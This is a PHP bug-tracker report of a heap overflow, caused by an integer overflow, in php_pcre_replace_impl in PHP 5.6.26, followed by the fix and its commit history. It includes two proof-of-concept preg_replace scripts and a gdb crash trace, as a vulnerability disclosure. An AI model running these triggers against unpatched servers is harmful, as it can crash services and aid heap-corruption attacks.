php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73174 heap overflow in php_pcre_replace_impl
Submitted: 2016-09-26 08:18 UTC Modified: 2017-02-13 01:17 UTC
From: secresearch at fortinet dot com Assigned: stas
Status: Closed Package: PCRE related
PHP Version: 5.6.26 OS: ALL
Private report: No CVE-ID:
 [2016-09-26 08:18 UTC] secresearch at fortinet dot com
Description:
------------
The heap overflow in function php_pcre_replace_impl due to integer overflow.

PHPAPI char *php_pcre_replace_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *replace_val,
	int is_callable_replace, int *result_len, int limit, int *replace_count TSRMLS_DC)
{
	...

			if (new_len + 1 > alloc_len) {
				alloc_len = 1 + alloc_len + 2 * new_len; // alloc_len = 286331206
				new_buf = emalloc(alloc_len);
				memcpy(new_buf, result, *result_len);
				efree(result);
				result = new_buf;
			}
			/* copy the part of the string before the match */
			memcpy(&result[*result_len], piece, match-piece); // match - piece = 715827882 -> overflow
			*result_len += match-piece;
...

Test script:
---------------
<?php
ini_set('memory_limit', -1);

$string = 'April 15, 2003'.str_repeat('a', 100);
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/2-20).'$3';
$a = preg_replace($pattern, $replacement, $string);

?>

Expected result:
----------------
No crash

Actual result:
--------------
Starting program: /home/test/PHP-5.6.26/sapi/cli/php ~/phptestcase/testpreg_replace_crash.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213				if (new_len + 1 > alloc_len) {
(gdb) p new_len + 1
$6 = 1574821353
(gdb) p alloc_len
$7 = 1431655797
(gdb) step
1214					alloc_len = 1 + alloc_len + 2 * new_len;
(gdb) 
1215					new_buf = emalloc(alloc_len);
(gdb) p alloc_len 
$8 = 286331206
(gdb) c
Continuing.

Breakpoint 2, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1221
1221				memcpy(&result[*result_len], piece, match-piece);
(gdb) p match - piece 
$9 = 715827882
(gdb) p piece
$10 = 0x7fff3437a030 '1' <repeats 200 times>...
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff10a5a8b in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) 


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-26 08:24 UTC] secresearch at fortinet dot com
Please use this test script:
---------------

<?php //crash memcpy
ini_set('memory_limit', -1);

$string = str_repeat('1', 0xffffffff/6).'April 15, 2003'.str_repeat('a', 2);
$pattern = '/(A\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/5).'$3'; // /3 crash

$a = preg_replace($pattern, $replacement, $string);

?>
 [2016-09-29 05:30 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-09-29 05:30 UTC] stas@php.net
The fix is in security repo as 29e2a204fb42af061e66a9f847ffbc8f1d13897a and in https://gist.github.com/1b2906f122c0c878e716380c076eee93

please verify
 [2016-09-29 08:18 UTC] secresearch at fortinet dot com
this patch looks good!
 [2016-10-11 23:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-10-11 23:49 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-10-12 23:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2016-10-14 02:23 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2016-10-17 10:07 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2017-02-13 01:17 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Wed Apr 26 02:01:38 2017 UTC